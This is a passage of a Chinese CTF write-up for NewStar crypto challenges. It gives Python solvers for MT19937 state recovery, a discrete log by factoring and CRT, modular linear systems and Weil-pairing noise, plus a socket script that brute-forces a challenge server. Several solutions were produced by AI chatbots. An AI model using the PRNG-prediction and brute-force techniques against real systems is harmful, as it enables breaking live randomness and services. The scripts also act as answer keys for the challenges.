# 将大整数 m 转换回字节串,然后解码为字符串
flag = long_to_bytes(m).decode()

# --- 输出结果 ---
print(f"Calculated a: {a}")
print(f"Calculated m: {m}")
print(f"Recovered flag: {flag}")

image-20251107183653479


[Cry]随机数之旅2

题目描述:mt19.937,哇哦。

# recover_flag.py
# 运行: python3 recover_flag.py

MASK32 = 0xFFFFFFFF

def _int32(x):
    return x & MASK32

# 反向:y = x ^ (x >> shift)
def unright_xor(y, shift):
    res = 0
    for i in range(31, -1, -1):
        bit_y = (y >> i) & 1
        if i + shift < 32:
            bit_x_plus = (res >> (i + shift)) & 1
        else:
            bit_x_plus = 0
        bit = bit_y ^ bit_x_plus
        res |= (bit << i)
    return _int32(res)

# 反向:y = x ^ ((x << shift) & mask)
def unleft_xor_and(y, shift, mask):
    res = 0
    for i in range(0, 32):
        bit_y = (y >> i) & 1
        if i - shift >= 0:
            bit_x_minus = (res >> (i - shift)) & 1
        else:
            bit_x_minus = 0
        mask_bit = (mask >> i) & 1
        bit = bit_y ^ (bit_x_minus & mask_bit)
        res |= (bit << i)
    return _int32(res)

def untemper(y):
    # temper sequence in extract_number:
    # y = mt[i]
    # y = y ^ (y >> 11)
    # y = y ^ (y << 7) & 0x0d000721
    # so invert in reverse order: first invert left-shift+and, then invert right-shift
    y = _int32(y)
    y = unleft_xor_and(y, 7, 0x0d000721)
    y = unright_xor(y, 11)
    return _int32(y)

# Re-implement the generator behavior for extraction given internal mt
class Clone:
    def __init__(self, mt):
        self.mt = [ _int32(x) for x in mt ]
        self.mti = 0
        # constants same as in original
        self.N = 114

    def twist(self):
        for i in range(0, self.N):
            y = _int32((self.mt[i] & 0x90000000) + (self.mt[(i + 1) % self.N] & 0x8fffffff))
            self.mt[i] = _int32((y >> 1) ^ self.mt[(i + 66) % self.N])
            if y % 2 != 0:
                self.mt[i] = _int32(self.mt[i] ^ 0x0d000721)

    def extract_number(self):
        if self.mti == 0:
            self.twist()
        y = self.mt[self.mti]
        # temper
        y = _int32(y ^ (y >> 11))
        y = _int32(y ^ ((_int32(y << 7)) & 0x0d000721))
        self.mti = (self.mti + 1) % self.N
        return _int32(y)

if __name__ == "__main__":
    # --- 把你给出的 hint 列表粘进来 ---
    hint = [3087640461, 3390259250, 1438539830, 4233208353, 2167538746, 1799697423, 3269225280, 2288778833, 1085937367, 1944378284, 2700010619, 2059866475, 842139295, 2499615956, 546930396, 4218265097, 3782950633, 2176357850, 1313899063, 3431271261, 3939859540, 3402881241, 1858715039, 2719031679, 240548369, 285783730, 2626727253, 2929465001, 2446734965, 836047189, 867017221, 1818925543, 596378287, 395385566, 750647916, 3206204309, 2461646206, 2542870230, 2767124444, 1348627486, 2195449698, 1224650582, 672493933, 3766509405, 1446227046, 2643731109, 253013460, 3353090231, 4212486318, 2194454687, 467889179, 3178101384, 3478152799, 537984157, 2160482478, 2342101721, 1323208079, 1010888095, 4025143040, 970426479, 2024955565, 2539264131, 780427764, 4281975102, 2857652878, 3406208921, 1095856384, 2222682088, 2847893594, 3314746929, 562358156, 3828827999, 4199395, 1352113622, 2621402776, 3890169856, 3730475625, 1030082319, 2075118377, 703958339, 1632454424, 276576599, 786425749, 4236610533, 3516595401, 2675707905, 2740105150, 307753552, 3259978575, 44168116, 805033307, 2780974107, 1365320807, 2440115715, 1085336234, 3465576825, 4059143168, 2347457546, 501704091, 3190136496, 2224101972, 662764619, 2379322764, 2212857876, 158560917, 2071270518, 2884996935, 922217317, 914808686, 3647075295, 1766841987, 2999527721, 3867097498, 3305696126]

    # 你打印出的 m ^ x(拷贝进来)
    c = 174279382333440272527169405563126775575894462244164992062996670946512594329265894481264929021062073725

    # step1: 反 temper 得到 mt(这是 twist 之后的 mt)
    recovered_mt = [ untemper(y) for y in hint ]

    # step2: 用 recovered_mt 作为当前 mt(和原程序在 hint 读取结束后的内部状态一致)
    clone = Clone(recovered_mt)
    # note: clone.mti defaults to 0; extract_number() will twist() then start returning new outputs
    # 正好对齐原程序:下一步原程序会 twist() 然后取出 key(11 个数)
    key = [ clone.extract_number() for _ in range(11) ]

    # step3: 计算 x = product(key)
    x = 1
    for v in key:
        x *= v

    # step4: 恢复 m = c ^ x
    m = c ^ x

    # 把 long 转回 bytes 再 decode
    # 先把 m 变为 byte 长度
    m_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big')
    try:
        flag = m_bytes.decode()
    except:
        # fallback: 打印 hex
        flag = None

    print("key outputs (11):", key)
    print("x (product) bit-length:", x.bit_length())
    print("Recovered m (int):", m)
    if flag:
        print("Recovered flag:", flag)
    else:
        print("Recovered bytes (hex):", m_bytes.hex())
        print("Could not decode as utf-8 string.")

image-20251107183728720


[Cry]置换DLP

题目描述:给定对称群S_n和其两个元素(也就是置换)g,h,求x满足g自己复合x次得到h。 例: 输出: S_3 (1 2 3 ) (1 3 2) 输入: 2 因为: (1 2 3 )(1 2 3 )=(1 3 2)=(1 2 3)^2

解题方法和Crypto的小跳蛙一样,把题目描述和服务器给出的数据发送给AI,让AI提供答案,把答案填写到服务器上,连续5次后即可获得flag

image-20251107183746706

image-20251107183803188


[Cry]DLP

题目描述:用好题目和工具,解决这个离散对数问题吧

import random
import math
from sympy.ntheory.modular import crt

# ------------ Miller-Rabin ------------
def is_probable_prime(n, k=8):
    if n < 2: return False
    small_primes = [2,3,5,7,11,13,17,19,23,29]
    for p in small_primes:
        if n % p == 0:
            return n == p
    d = n - 1
    s = 0
    while d % 2 == 0:
        d //= 2
        s += 1
    for _ in range(k):
        a = random.randrange(2, n - 1)
        x = pow(a, d, n)
        if x == 1 or x == n - 1:
            continue
        for __ in range(s - 1):
            x = (x * x) % n
            if x == n - 1:
                break
        else:
            return False
    return True

# ------------ Pollard's Rho ------------
def pollards_rho(n):
    if n % 2 == 0:
        return 2
    if is_probable_prime(n):
        return n
    while True:
        c = random.randrange(1, n-1)
        x = random.randrange(2, n-1)
        y = x
        d = 1
        while d == 1:
            x = (x*x + c) % n
            y = (y*y + c) % n
            y = (y*y + c) % n
            d = math.gcd(abs(x - y), n)
            if d == n:
                break
        if d > 1 and d < n:
            return d

def factor(n):
    """返回 n 的素因子列表(可能有重复)"""
    if n == 1:
        return []
    if is_probable_prime(n):
        return [n]
    d = pollards_rho(n)
    if d == n:
        # 失败,退而求其次暴力试除(对 32-bit 因子来说通常够用)
        res = []
        i = 2
        while i * i <= n:
            while n % i == 0:
                res.append(i)
                n //= i
            i += 1 if i == 2 else 2
        if n > 1:
            res.append(n)
        return res
    else:
        left = factor(d)
        right = factor(n // d)
        return left + right

# ------------ 原根(primitive root)------------
def prime_factors_simple(n):
    res = []
    d = 2
    while d * d <= n:
        while n % d == 0:
            res.append(d)
            n //= d
        d += 1 if d == 2 else 2
    if n > 1:
        res.append(n)
    return res

def find_primitive_root(p):
    phi = p - 1
    facs = set(prime_factors_simple(phi))
    for g in range(2, p):
        ok = True
        for q in facs:
            if pow(g, phi // q, p) == 1:
                ok = False
                break
        if ok:
            return g
    raise ValueError("no primitive root found")

# ------------ Baby-Step Giant-Step discrete log ------------
def discrete_log_bsgs(g, h, p):
    """
    Solve g^x = h (mod p) for 0 <= x < p using BSGS.
    Returns x if found, else None.
    """
    g %= p
    h %= p
    if h == 1:
        return 0
    m = int(math.ceil(math.sqrt(p - 1)))
    # baby steps
    baby = {}
    cur = 1
    for j in range(m):
        if cur not in baby:
            baby[cur] = j
        cur = (cur * g) % p
    # factor = g^{-m}
    inv_g = pow(g, p-2, p)
    factor = pow(inv_g, m, p)
    gamma = h
    for i in range(m+1):
        if gamma in baby:
            return (i * m + baby[gamma]) % (p-1)
        gamma = (gamma * factor) % p
    return None

# ------------ 主流程 ------------
def recover_flag_from_N_y(N, y):
    print("[*] Factoring N ... (Pollard Rho)")
    facs = factor(N)
    facs.sort()
    # deduplicate and ensure we have unique prime factors (they should be primes)
    primes = sorted(list(set(facs)))
    print("[*] Found prime factors (unique):", primes)
    # For each prime p recover x mod (p-1)
    congruences = []
    moduli = []
    for p in primes:
        print(f"[*] Processing p = {p}")
        g = find_primitive_root(p)
        print(f"    primitive root g = {g}")
        hp = y % p
        xp = discrete_log_bsgs(g, hp, p)
        if xp is None:
            raise ValueError(f"Discrete log failed for p={p}")
        print(f"    x ≡ {xp} (mod {p-1})")
        congruences.append(xp)
        moduli.append(p-1)

    # 合并同余:使用 sympy.crt(返回解与模)
    x_crt, mod_lcm = crt(moduli, congruences)
    if x_crt is None:
        raise ValueError("CRT 合并失败")
    print(f"[*] Recovered x mod L where L = lcm(p_i-1) = {mod_lcm}")
    # x_crt is in [0, L-1]; 真实的 x 应该小于 L(若 flag 编码较短)
    x_int = int(x_crt)
    # 把 x 转为 bytes
    b = x_int.to_bytes((x_int.bit_length() + 7) // 8, 'big')
    try:
        flag = b.decode()
        print("[*] Recovered flag string:", flag)
    except Exception as e:
        print("[!] 无法直接 decode 为 UTF-8,打印 hex:")
        print(b.hex())
        flag = None
    return flag

if __name__ == "__main__":
    # N, Y
    N = 309188900849282292730996572442105319804517021637303572285568169372827724672013943204807085606291832819055916540180210625660012888515667353984324438526947
    y = 260785984269183342143040042876301128691169473526814133757612160538721419207138445246818874092343133346101040420148945804080352598475162932165207050154918

    recover_flag_from_N_y(N, y)

image-20251107183818995


[Cry]随机数之旅3.6

题目描述:关键在你拥有的信息

Claude4.5秒了

image-20251105221306584

# 模运算下的高斯消元法求解线性方程组
def mod_inverse(a, m):
    """计算a在模m下的逆元"""

    def extended_gcd(a, b):
        if a == 0:
            return b, 0, 1
        gcd, x1, y1 = extended_gcd(b % a, a)
        x = y1 - (b // a) * x1
        y = x1
        return gcd, x, y

    gcd, x, _ = extended_gcd(a % m, m)
    if gcd != 1:
        return None
    return (x % m + m) % m


def gauss_eliminate_mod(A, b, p):
    """
    模p下的高斯消元法求解 Ax = b
    A: m x n 矩阵(列表的列表)
    b: 长度为m的向量
    p: 模数
    返回: 解向量x(如果存在)
    """
    m = len(A)
    n = len(A[0]) if m > 0 else 0

    # 复制矩阵和向量,避免修改原数据
    M = [row[:] for row in A]
    B = b[:]

    print(f"开始高斯消元法求解 {m}x{n} 系统...")

    # 前向消元
    pivot_row = 0
    for col in range(n):
        # 找到非零主元
        found_pivot = False
        for row in range(pivot_row, m):
            if M[row][col] % p != 0:
                # 交换行
                M[pivot_row], M[row] = M[row], M[pivot_row]
                B[pivot_row], B[row] = B[row], B[pivot_row]
                found_pivot = True
                break

        if not found_pivot:
            continue

        # 获取主元的逆元
        pivot_val = M[pivot_row][col] % p
        pivot_inv = mod_inverse(pivot_val, p)

        if pivot_inv is None:
            print(f"警告: 第{col}列找不到逆元")
            continue

        # 将主元行归一化
        for j in range(n):
            M[pivot_row][j] = (M[pivot_row][j] * pivot_inv) % p
        B[pivot_row] = (B[pivot_row] * pivot_inv) % p

        # 消去下方的元素
        for row in range(pivot_row + 1, m):
            factor = M[row][col] % p
            for j in range(n):
                M[row][j] = (M[row][j] - factor * M[pivot_row][j]) % p
            B[row] = (B[row] - factor * B[pivot_row]) % p

        pivot_row += 1

        if pivot_row % 10 == 0:
            print(f"  处理到第 {pivot_row} 行...")

    # 回代求解
    print("开始回代求解...")
    x = [0] * n

    for row in range(min(m, n) - 1, -1, -1):
        # 找到这一行的主元列
        pivot_col = -1
        for col in range(n):
            if M[row][col] % p != 0:
                pivot_col = col
                break

        if pivot_col == -1:
            continue

        # 计算解
        val = B[row]
        for col in range(pivot_col + 1, n):
            val = (val - M[row][col] * x[col]) % p

        x[pivot_col] = val % p

    return x


# 读取数据
with open(r"C:\Users\lenovo\Desktop\output.txt", "r") as f:
    lines = f.readlines()
    p = int(lines[0].strip())
    A_list = eval(lines[1].strip())
    b_list = eval(lines[2].strip())

print(f"p = {p}")
print(f"矩阵A: {len(A_list)}x{len(A_list[0])}")
print(f"向量b: {len(b_list)}\n")

# 已知的字符位置
known = {
    0: ord('f'),  # 102
    1: ord('l'),  # 108
    2: ord('a'),  # 97
    3: ord('g'),  # 103
    4: ord('{'),  # 123
    41: ord('}')  # 125
}

n = 42  # flag总长度
m = 36  # 方程数量

# 修正b向量(减去已知项的贡献)
b_modified = []
for i in range(m):
    val = b_list[i]
    for j in known:
        val = (val - A_list[i][j] * known[j]) % p
    b_modified.append(val)

# 创建新的A矩阵(只包含未知变量的列)
unknown_indices = [i for i in range(n) if i not in known]
A_new = []
for i in range(m):
    row = [A_list[i][j] for j in unknown_indices]
    A_new.append(row)

print(f"未知变量数量: {len(unknown_indices)}")
print(f"方程数量: {len(A_new)}\n")

# 求解
x_unknown = gauss_eliminate_mod(A_new, b_modified, p)

# 重建完整的x向量
x_full = [0] * n
for i, idx in enumerate(unknown_indices):
    x_full[idx] = x_unknown[i]
for idx, val in known.items():
    x_full[idx] = val

# 转换为字符串
flag_chars = []
for val in x_full:
    # 确保在合理的ASCII范围内
    val = val % 256
    if 32 <= val < 127:
        flag_chars.append(chr(val))
    else:
        flag_chars.append(f"[{val}]")

flag = ''.join(flag_chars)
print(f"\n可能的flag:\n{flag}\n")

# 验证解
print("验证解...")
all_correct = True
for i in range(m):
    expected = b_list[i]
    actual = sum(A_list[i][j] * x_full[j] for j in range(n)) % p
    if expected != actual:
        print(f"  第{i}行验证失败: 期望 {expected}, 实际 {actual}")
        all_correct = False

if all_correct:
    print("✓ 所有方程验证成功!")
    print(f"\nflag = {flag}")
else:
    print("✗ 验证失败")

image-20251105221329590


[Cry]运气与实力

题目描述:参数:2^24;514

GPT秒了😸,发了个脚本给我

image-20251106205000295

import socket, time

HOST, PORT = "39.106.48.123", 16512
DIFF = 8388608  # 2^23

with socket.create_connection((HOST, PORT)) as s:
    s.settimeout(5)
    buf = b""
    i = 1
    while True:
        try:
            chunk = s.recv(4096)
            if not chunk:
                break
            buf += chunk
            text = buf.decode(errors="ignore")
            print(text, end="")  # 观察服务端输出
            if "flag" in text.lower():
                break
            if ":" in text:  # 出现输入提示
                x1 = i
                x2 = i + DIFF
                line = f"{x1} {x2}\n"
                s.sendall(line.encode())
                i += 1
                buf = b""
        except socket.timeout:
            # 超时则继续等或重发下一对
            x1 = i
            x2 = i + DIFF
            s.sendall(f"{x1} {x2}\n".encode())
            i += 1
            buf = b""
            time.sleep(0.1)

image-20251105221344653


[Cry]简约但不简单

题目描述:非常简约哦。

把附件的代码发给GPT,然后就被GPT带飞😎

image-20251025153239903

# 复制你的 pd 输出到这里:
pd = {
 3413676640: 1594077971399385299395022227852120555480881869700637958117720940776903900048909126220647862398841465330414656859614557714565079951005622575312330146529382177601052870025387871105367157364980720098108223606218778071591962312625545928833475405327437929990676527598584146131583628543440856728345525538339583048836248707122644351050182499626881169032352787112151495775408995081033982986335846819558919915251,
 1750756035: 2054200758155809430584682000748084645623817029820517053922743364374804105875884926940420627189956084606447359376765801210864111309534028184840667117141884507600723257114137325445664302774484068353837055532470902698739100719671542290651856331138066968452527405350535656340120689540541436633603023418382432662235969191092536737362557358534747146579541901899362864001727095589806693532072254751,
 2784498663: 375854307330722604895974468090858814864572180251131715939732683940369788071083742192233859810935302243896235156472567348202741984360129992791781365677098394056713626446456459605416838890813014133791849451618056825242399275114351112835538706806874580862351976739195216744313743979529905098368548935904803841295421642793890717398476615519687117378253101704831174492618046725311143847432708224771894487
}

from math import gcd, isqrt

# 1) 计算三差的 gcd(通常包含 a)
keys = list(pd.keys())
vals = [pd[k] for k in keys]
g = abs(gcd(gcd(vals[0]-vals[1], vals[0]-vals[2]), vals[1]-vals[2]))
print("g =", g)

# 2) 枚举 g 的所有正因子(因为 a | g)
def divisors(n):
    divs = []
    for i in range(1, isqrt(n)+1):
        if n % i == 0:
            divs.append(i)
            j = n//i
            if j != i:
                divs.append(j)
    return sorted(divs)

for a_c in divisors(g):
    # a_c 作为候选
    x = keys[0]
    y = pd[x]
    b_c = y % a_c
    P = (y - b_c) // a_c

    # 用基 x 展开 P,检查每一“位”是否为合法 ASCII (0..255)
    temp = P
    digits = []
    ok = True
    while temp > 0:
        d = temp % x
        if d > 255:
            ok = False
            break
        digits.append(d)
        temp //= x
    if not ok:
        continue
    digits = digits[::-1]
    s = ''.join(chr(d) for d in digits)
    if s.startswith("flag{"):
        print("FOUND candidate a,b ->", a_c, b_c)
        print("recovered:", s)
        break

手动把最后的~换成}

image-20251025153333252

image-20251025153348284


[Cry]weil的噪声与秩序

题目描述:
Weil配对是一种强大的工具,能将椭圆曲线上的点映射到乘法群中,创造出结构化的“秩序”。但当随机噪声被引入其中,这种秩序便会被打破。
你的任务是分析一组被Weil配对加密的数据,其中一部分是纯粹的秩序,另一部分则被强烈的噪声污染。区分它们,你就能读懂隐藏在背后的信息

把题目的所有附件都给claude4.5,它会进行分析然后写出解密脚本

image-20251025153306857

from c import c

# 题目参数
p = 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559523

print("="*70)
print("Weil配对密码分析 - 区分秩序与噪声")
print("="*70)
print()

# 恢复二进制位
bits = []
order_count = 0
noise_count = 0

for i, val in enumerate(c):
    # 检查是否为3次单位根(纯粹的秩序)
    # 在有限域 GF(p) 中计算 val^3 mod p
    result = pow(val, 3, p)
    
    if result == 1:
        # 这是3次单位根,没有噪声污染 -> 对应 '0'
        bits.append('0')
        order_count += 1
    else:
        # 被噪声污染 -> 对应 '1'
        bits.append('1')
        noise_count += 1

print(f"总共恢复 {len(bits)} 个比特位")
print(f"  秩序('0'): {order_count} 个")
print(f"  噪声('1'): {noise_count} 个")
print()

# 将比特位转换为字节
flag_bytes = []
for i in range(0, len(bits), 8):
    if i + 8 <= len(bits):
        byte_str = ''.join(bits[i:i+8])
        byte_val = int(byte_str, 2)
        flag_bytes.append(byte_val)

print(f"恢复 {len(flag_bytes)} 个字节")
print()

# 转换为字符串
try:
    flag = bytes(flag_bytes).decode('ascii')
    print("="*70)
    print(f"[SUCCESS] Flag: {flag}")
    print("="*70)
except Exception as e:
    print(f"ASCII解码失败: {e}")
    print("尝试UTF-8解码:")
    try:
        flag = bytes(flag_bytes).decode('utf-8')
        print("="*70)
        print(f"[SUCCESS] Flag: {flag}")
        print("="*70)
    except:
        print("UTF-8解码也失败,显示原始字节:")
        print(bytes(flag_bytes))

print()
print("前10个字符的详细信息:")
for i in range(min(10, len(flag_bytes))):
    byte_str = ''.join(bits[i*8:(i+1)*8])
    char = chr(flag_bytes[i]) if 32 <= flag_bytes[i] < 127 else '?'
    print(f"  位 {i*8:3d}-{i*8+7:3d}: {byte_str} -> {flag_bytes[i]:3d} (0x{flag_bytes[i]:02x}) -> '{char}'")

image-20251025153418946

Tagged: CTFNewStar

评论区